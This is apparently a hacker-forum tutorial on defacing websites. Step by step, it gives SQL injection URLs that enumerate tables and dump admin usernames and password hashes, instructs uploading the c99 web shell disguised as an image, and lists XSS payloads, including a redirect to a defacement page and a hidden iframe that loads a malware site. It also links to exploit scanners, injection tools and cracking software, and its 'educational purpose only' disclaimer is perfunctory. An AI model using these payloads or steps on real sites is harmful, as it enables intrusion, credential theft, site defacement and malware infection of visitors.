WEBSITE DEFACING

WEBSITE DEFACING

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How to deface a website???


 Defacing a website simply means that we replace the index.html file of a site by our file. 



Now all the Users that open it will see our Page(i.e being uploaded by us). 


First of all u should have the knowledge of :- 


1. SQL Injection(For analyzing website loops)

2. Admin Password 

3. Shell Script (for getting Admin Controls)


Now, lets come on main topic,our first work is finding the target website.After it:-


1>> Test the vulnerability of the websites.  


 

for example,we have a site like this


http://www.cybercommando.com/news.php?id=5


Now to test if is vulnerable we add to the end of url ' (quote),and that would be


http://www.cybercommando.com/news.php?id=5'


so if we get some error like 

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." 

or something similar that means the Site is vulnerable to SQL injection. 



2). Find the number of columns


To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.


http://www.cybercommando.com/news.php?id=5 order by 1/* <-- no error


http://www.cybercommando.com/news.php?id=5 order by 2/* <-- no error


http://www.cybercommando.com/news.php?id=5 order by 3/* <-- no error


http://www.cybercommando.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)


that means that the it has 3 columns, cause we got an error on 4.



3). Check for UNION function


With union we can select more data in one sql statement.

So we have


http://www.cybercommando.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )


if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .


4). Check for MySQL version


http://www.cybercommando.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --

it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version

we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this:-

  


http://www.cybercommando.com/news.php?id=5 union all select 1,@@version,3/*

 

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function

i.e.


http://www.cybercommando.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*


or with hex() and unhex()

i.e.


http://www.cybercommando.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*


and you will get MySQL version .


5). Getting table and column name


Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.

we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be


http://www.cybercommando.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names.


http://www.cybercommando.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists


http://www.cybercommando.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)


we seen password on the screen in hash or plain-text, it depends of how the database is set up 

i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*


Note that


 i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )



http://www.cybercommando.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*


Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user password columns, so example would be


http://www.cybercommando.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*


6). MySQL 5


Like i said before i'm gonna explain how to get table and column names

in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*


here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*


note that i put 0,1.

now to view the second table, we change limit 0,1 to limit 1,1

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*


the second table is displayed.

for third table we put limit 2,1


i.e


http://www.cybercommamdo./news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*


Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.cybercommando.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*


The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie.


http://www.cybercommando.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*


The second column is displayed, so keep incrementing until you get something like


username,user,login, password, pass, passwd etc... 


If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*


Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

i.e


http://www.cybercommando.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/ 


What we get here is user:pass:email from table users.


Example: admin:hash:cybercommando@gmail.com


 If you are too lazy for doing above stuff you can use tools they will do all the job: 


1) Exploit scanner (this will find vulnerable websites)

Code:

http://rapidshare.com/files/24802790...oitscanner.zip 


2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)

Code:

http://rapidshare.com/files/24802907...elperV.2.7.rar 


* use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.


In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password.  



To crack the password there are three ways:-


1) Check the net whether this hash is cracked before:

Download:

http://www.md5decrypter.co.uk 


2) Crack the password with the help of a site:

Download::

http://www.milw0rm.com/cracker/insert.php 


http://passcr


acking.com/index.php 


3) Use a MD5 cracking software:

Download:

http://rapidshare.com/files/13696796...CF_2.10_2b.rar 


Password = OwlsNest



2) DEFACING THE WEBSITE


After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel. 


1) You can use an admin finder website:

Code:

http://4dm1n.houbysoft.com/ 


2) You can use an admin finder software: 


Code:

http://rapidshare.com/files/248020485/adminfinder.rar 



After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.


Dowload the shell here:

http://rapidshare.com/files/248023722/c99.rar 


Extract it you will get a c99.php upload it.

Some sites wont allow you to upload a php file. so rename it as c99.php.gif

Then upload it.


After that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) 


find the c99.php.gif and click it.. 


Now you can see a big control pannel....

Now you can do what ever you want to do...

Search for the index.html file and replace it with your own file.  

So if any one goes to that site they will see your page....

After Doing This click on Logout and You are Done..

❤How to deface website with Cross Site Scripting.❤

Today i am going to teach you how to deface the sites which has the XSS vulnerability .

Defacing is one of the most common thing when the hacker found the vulnerability in website.

Defacing is changing the content the website to Hacker content.

Most of time, attacker use this technique to inform about the vulnerability to Admin.


But it's bad idea..!


i have some easiest methods to deface the Xss vuln sites .. i will be teaching u one by one .


1 - Script for changing the background Color of a website:

<script>document.body.bgColor="red";</script>

use this in your target website as

Code:

http://www.targetwebsite.com/<script&...y.bgColor="red";</script>

2 - Script for chaning the background image of a website:

Code:

<script>document.body.background="http://your_image.jpg/";</script>

3 - Defacement Page with Pastehtml:

First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :

Code:

<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites.

4 - Defacing with iframe Injection

What is an IFrame Injection?

Using IFrame tag, The Attackers injects the malware contain website(links)

using Cross site Scripting in popular websites.

So if the usual visitors of that popular sites opens the website,

it will redirect to malware contain website.

Malware will be loaded to your computer, now you are infected .

What an attacker can do with Iframe Injection?

Using Iframe Injection, an attacker can inject advertisements inside any other websites,

insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:

1.First of all attacker will find the Vulnerable websites using google dorks.

2. They test the vulnerability by inserting some iframe tag using the url.

3. then insert the Malicious Iframe code inside the webpage.

For Example:

he can insert this code using the url:

Code:

<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:

Code:

echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

I have just given some easy method only to deface the XSS affected page ..

It wil be beginner friendly .. Still there are more methods to deface it.. 


IMP NOTE : : Never implement this technique. I am just explaining it for educational purpose only.WE ARE Not RESPONSIBLE FOR ANY MISUSE.


❤TRY AT YOUR OWN RISK.❤

Keep supporting🔥

🔥REGARDS=@its_me_kali


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